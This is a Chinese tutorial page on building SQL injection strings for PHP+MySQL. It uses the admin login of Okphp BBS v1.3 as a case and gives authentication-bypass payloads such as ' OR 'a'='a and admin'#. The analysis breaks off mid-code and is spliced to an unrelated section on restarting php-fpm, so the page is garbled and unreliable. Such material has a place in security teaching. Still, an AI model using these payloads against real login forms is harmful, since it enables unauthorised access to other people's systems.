php语言 百文网手机站

php+mysql注射语句构造

时间:2021-04-13 17:43:08 php语言 我要投稿

php+mysql注射语句构造

  语句构造好坏直接影响了编程的质量,下面是百分网小编精心为大家整理的php+mysql注射语句构造,希望对大家有帮助,更多内容请关注应届毕业生网!

  一.前言:

  版本信息:Okphp BBS v1.3 开源版

  下载地址:http://www.cncode.com/SoftView.asp?SoftID=1800

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。

  声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

  二.“漏洞”分析:

  1.admin/login.php注射导致绕过身份验证漏洞:

  代码:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 没过滤, 很容易就绕过。

  对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

  构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

  相当于sql语句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相当于:

  select * from $user_table where username='admin'

  在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相当于:

  select id,group_id from $user_table where username='admin'

  只要存在用户名为admin的.就成立,如果不知道用户名,只知道对应的id,

  我们就可以这样构造:$username=' OR id=1#

  相当于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)

  我们接着往下看代码:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log("Moderator login","0","password wrong");

  echo "

  2.php 5.4中php-fpm 的重启、终止操作命令:

  查看php运行目录命令:which php

  /usr/bin/php

  查看php-fpm进程数:

  ps aux | grep -c php-fpm

  查看运行内存

  /usr/bin/php -i|grep mem

  重启php-fpm

  /etc/init.d/php-fpm restart

  在phpinfo()输出内容可以看到php相关配置。

  Loaded Configuration File /etc/php.ini

  ==============================

  首先要找到php-fpm.conf配置文件,查看pid的配置路径(不是安装路径),然后把下面对应的地方改掉才能正常执行。

  [root@DO-SG-H1 ~]# ps aux | grep php-fpm

  root 11799 0.0 0.0 103248 880 pts/0 S+ 13:51 0:00 grep --color php-fpm

  root 11973 0.0 0.0 417748 964 ? Ss Jun01 0:20 php-fpm: master process (/etc/php-fpm.conf)

  cat /etc/php-fpm.conf

  看到

  pid = /var/run/php-fpm/php-fpm.pid

  php-fpm 启动:

  /usr/local/php/sbin/php-fpm

  php-fpm 关闭:

  kill -INT `cat /var/run/php-fpm/php-fpm.pid`

  php-fpm 重启:

  kill -USR2 `cat /var/run/php-fpm/php-fpm.pid`

  查看php-fpm进程数:

  ps aux | grep -c php-fpm

  =============================

  [root@DO-SG-H1 ~]# find / -name 'php-fpm' -type d

  /var/log/php-fpm

  /var/run/php-fpm

  用这个find命令查找出来的路径是不对的

  which php

  /usr/bin/php

【php+mysql注射语句构造】相关文章:

php+mysql查询优化简单实例09-26

java应该如何构造12-04

建筑基础构造常识问答08-09

java构造函数实现代码示例11-28

造价工程师考试之褶皱构造09-16

php中的构造方法与析构方法09-13

Think in Java之构造器的真正调用顺09-27

护士资格证考试复习重点:注射给药法08-08

初级中药师中药制剂学知识:注射剂11-13

护士资格基础护理学考点:患者肌肉注射方法11-08